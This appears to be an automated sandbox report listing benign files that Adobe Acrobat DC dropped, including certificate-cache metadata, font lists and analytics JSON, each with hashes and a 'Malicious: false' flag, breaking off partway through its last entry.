Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklfq3lltfllXlE/HT8k2eNNX8RolJuRdxLlGB9lQRYwpDdt:kKdeT8uNMa8RdWBwRd
MD5:	E1E13BFC3DFB107D30272953AC0D3468
SHA1:	BF64761894220994FA6FE0EA8AAF30438E639E33
SHA-256:	543671E53530A2A27ACB849A95F7AB0C21EC132A6C7D0C807EE3E6C604982499
SHA-512:	20894B09DE1025B25B1FA6CAA08C8DEA816D7361EA4678FDB556EE3AF3B0D03FAB89C8D77BCAFA36FAA821CA4C98B5EFA991C696C6E30CF3C3BA6DE4DDCB5332
Malicious:	false
Preview:	p...... ........l.)O.c..(....................................................... ..........W.....U..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1253702406975483
Encrypted:	false
SSDEEP:	6:kK8DL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:siDnLNkPlE99SNxAhUe/3
MD5:	5EFC4415464369F00319D997DA2F06A4
SHA1:	A7E870EDA16DE82F487008DD2635556B3F5E9C51
SHA-256:	F03F4E1840B68A15137AE87E1CCC831A072607305D80EEC8A48DDF9CE3522FDC
SHA-512:	2CB492B9888C506BF3210DBC6F3D8A4142C1AC654AECA6BA3E637617F3C1E04DC0873F03A95A4F3622E0029BDFA0ED82E6E3F9038F65CEB39D812B0F4246EE4F
Malicious:	false
Preview:	p...... ..........a.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.328149389484304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJM3g98kUwPeUkwRe9:YvXKXlZvsvR/ZwHAzGMbLUkee9
MD5:	86BA552E81133A3F0CD2FFF146F57DBC
SHA1:	4111AE2F38C675C51BFADB9C75DF3BA6815F3901
SHA-256:	3530D091AD6D5BDB91A1D6634C617F89E88649C2DC557053327905B37D4EEFCA
SHA-512:	897E5D4AFBA8B4B1A45C695A5816E1AC5DBF1BC81C07229C3343BCBAEE56011945C204B000A3C94F9D585F4131A9CB2CC2585979E249A0EE5DC762550DC25B33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262993579605745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfBoTfXpnrPeUkwRe9:YvXKXlZvsvR/ZwHAzGWTfXcUkee9
MD5:	6416B5BD8D7E88CD6180C10BA39E6C8F
SHA1:	839CE66ED03E96467CCC927214B0488A3206AB73
SHA-256:	A7C5DB4D800DB8D44090C2D2D30F8720E9A61106CE97B0F6F9E44D623326367F
SHA-512:	322B2AFEA5F22606D52E27D72D7F3CAA233D61053CEF90A7540C43C9B4EC69DA6039D6101C250F139602D51873D9C13ADEDABFC5B08DB48DE34F90E96F67F57B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241253074963553
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfBD2G6UpnrPeUkwRe9:YvXKXlZvsvR/ZwHAzGR22cUkee9
MD5:	9B08241DA43ED5D30A9BA20A213BDE5A
SHA1:	A52A9B346A6690C96CDA888A2AF7257267A140C2
SHA-256:	B65097C25A13D0666C5A680D7F61E1EBAEEF2C7694EB1614B17CB45222863ECC
SHA-512:	29A10E6A946F9CF9102514EF4A2E515C8488240E1F1F1B72D847D02BD6B885CA9759CD4CF81CF0E6CB4D08FE7949578AE97C948D3930ED490CBFFACCEA68D8D9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.303862357193358
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfPmwrPeUkwRe9:YvXKXlZvsvR/ZwHAzGH56Ukee9
MD5:	8A00F6DD8A69BD06E832492ACA33701E
SHA1:	1DE898BB97D4BF3D806E5918E79E68D07E72E040
SHA-256:	D99A6AFCBCEE1CA473F4141B1722FF4196EEFCA8F812A4DF725B7E8935F736F8
SHA-512:	4FE3584D51446DC7B5DFCD76B27944FC89C21A913C62AFCA022B642D253EBE1485FABBF1B39E9FE2DB60176257EA7A5503DAE752BE6EA9F89A13BDCD6C828A7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688867167047305
Encrypted:	false
SSDEEP:	24:Yv6XbvsJh0pLgE9cQx8LennAvzBvkn0RCmK8czOCCSeO:YvMvsJh0hgy6SAFv5Ah8cv/eO
MD5:	D8FDE94EA466581980747DADE329B968
SHA1:	F6B63B10972D694A58238560E9DC5FFAE5BC28BF
SHA-256:	A8250959D2C8E96D69B4F8BA899A5CE6675F2A7BA4714CC81C56D15FCCCDD79B
SHA-512:	142AE33517A8DEFEEDFD0E816B0C73FA698475243A4E5094018FD5869CA84B626D48F315A5191B807143148186070AC5F1080ABE26F937274FBD2D155603E81A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252100384031187
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJf8dPeUkwRe9:YvXKXlZvsvR/ZwHAzGU8Ukee9
MD5:	40F258062B112AEC82312A08CFEB238A
SHA1:	4D972FE5A3F36D5425FA650776E8E25225A29907
SHA-256:	6E518CE1341C8196E390427F9FA156D5F808217FFB6DAB267D7672AB80A0D730
SHA-512:	5B94DFB143FEA283C864266BFEA6B1816052EBCBFABABF7452BB177753166BB10E27F4EB3E8701A99D1D29E80AA82879E5E2EF1ACA94E505EB9CD357CCA5E818
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.251562270410213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfQ1rPeUkwRe9:YvXKXlZvsvR/ZwHAzGY16Ukee9
MD5:	7845B963925CA0E5842AE6130828F014
SHA1:	8EC7BCED28BAB977E673B5D491A31F2BFEC34B8D
SHA-256:	54416F78B8F2DE492AD9B4C5DD47189FEADCB114080FADE35DA2E0E3E797BE28
SHA-512:	7CF434AFBD14EB7651E931AEFC79DE224AE85692663299D9CA5CAD1FDA82E59C944CD643B67AB017A9B6EBE423916A9872956FBEE490DCA23D2B302CE5ABE047
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.266567960419902
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfFldPeUkwRe9:YvXKXlZvsvR/ZwHAzGz8Ukee9
MD5:	B4A02FC320A07BA5F2BA8933E4C7C52C
SHA1:	54FD898A87EAEEBD31FF96106A04290E15E00C85
SHA-256:	C7C6685DAA0B5B4DAA5B8670D14A220933D1E1CFA2B758C0DAC357548AB32A2D
SHA-512:	A55F090D6371124D12AE87281F90E74EEAF320B23BC9A15C2162AFA2B672FE3BC3CF4FDD585AC7E5626CE6CEFCC7F814FFA0D16C563941523BA3BE20BE846E99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2811102746500005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfzdPeUkwRe9:YvXKXlZvsvR/ZwHAzGb8Ukee9
MD5:	FCAAC7DAC2069696074BF30F65D5554A
SHA1:	942E2FF1359D5B09B39C4D4649738C4D227D9F9C
SHA-256:	82289D51A66A492DDE3D6431E702EE1A281F612E80EED166D675DD13EF61C84D
SHA-512:	F6FD674F04535DB07F4D1F8AD5DF8C305BA46DAF5E23C805839B6A74EA4109089B4CEA73804FECBFF5C8D365E92B349D1E361B7E140143B47598DE68B8153530
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.261237307829048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfYdPeUkwRe9:YvXKXlZvsvR/ZwHAzGg8Ukee9
MD5:	9F64B759D04E602538E00A74B1192203
SHA1:	E3E3F8B5C05140D6B25860A74B1AEE1514507786
SHA-256:	C177AAD780FF3FED685EF659B2B850FF2B036B48E9689268C0ADC60F64048AC4
SHA-512:	2BF2860D9E386288C6A45557A0E7737C3AB270725B2671778B389637A6AF5FA6F6822335FC0AF3ECC26692BD30AFF13C43E27A59BB32D179764E7C265C5F62F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.246605238888349
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJf+dPeUkwRe9:YvXKXlZvsvR/ZwHAzG28Ukee9
MD5:	B4F62E2DFAC10AE7226779D5D8866DD0
SHA1:	9E63D2502F572AC85CE2EF8F4A042401F3F54355
SHA-256:	48E45334CA30CE7745BE94D57634616AEF419C5BE4959394B26C409977C1AC70
SHA-512:	B57F096F9A28139ECE53B471F3D1F890C37A02C90994AB8C7C241E499059F9CBAB9B5612534D2F3A98D701AA5E8B6E448F55107D78CC35FF2446205202A3D38B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.245050815758382
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHYkE2r4W4ILYvB3/dVlPIHAR0Yf3FeoAvJfbPtdPeUkwRe9:YvXKXlZvsvR/ZwHAzGDV8Ukee9
MD5:	E1497B9DE3169CF0593E416FF81A94C5
SHA1:	4285E04733C71D678A66D0148ADA5AA6A9C3129E
SHA-256:	EE5BAA128BCC3BE3299DF9EDA4F736166D3C946444A5957BD0A2CC2AAA0B1992
SHA-512:	7D78E07E5FDAC5A95FE312BE58CAEE678CD8B7ED027A7B1574FF79BF8EE5B0ECD37008EC87EBBDD769043E35B7538BF244F7268704CB645D3DD541B65A08E4C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0f3f4dfa-305d-4ae6-88c4-c093a4149515","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736756440844,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.243853097040431
Encrypted:	false
